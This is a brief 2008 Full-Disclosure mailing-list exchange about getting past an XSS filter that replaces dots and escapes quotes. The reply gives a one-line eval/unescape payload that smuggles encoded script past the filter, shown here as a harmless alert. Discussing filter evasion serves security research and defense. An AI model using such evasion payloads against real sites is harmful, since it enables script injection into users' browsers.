[Full-disclosure] xss dot(.) filter evasion

[Andrew Farmer]

On 18 Jun 08, at 08:49, Thomas Pollet wrote:
> I came across this site that implemented some filtering so the dots  
> were
> replaced by an underscore, also the quotes and backslash were escaped.
> I came up with the code below to bypass this filtering (write  
> anything to
> the page using String.fromCharCode)
> Someone knows a different way to do this?

eval makes everything easy. Well, reasonably easy.

eval(unescape(String(/%2a%2a%2falert(%22xss%22);%2f%2a%2a/)));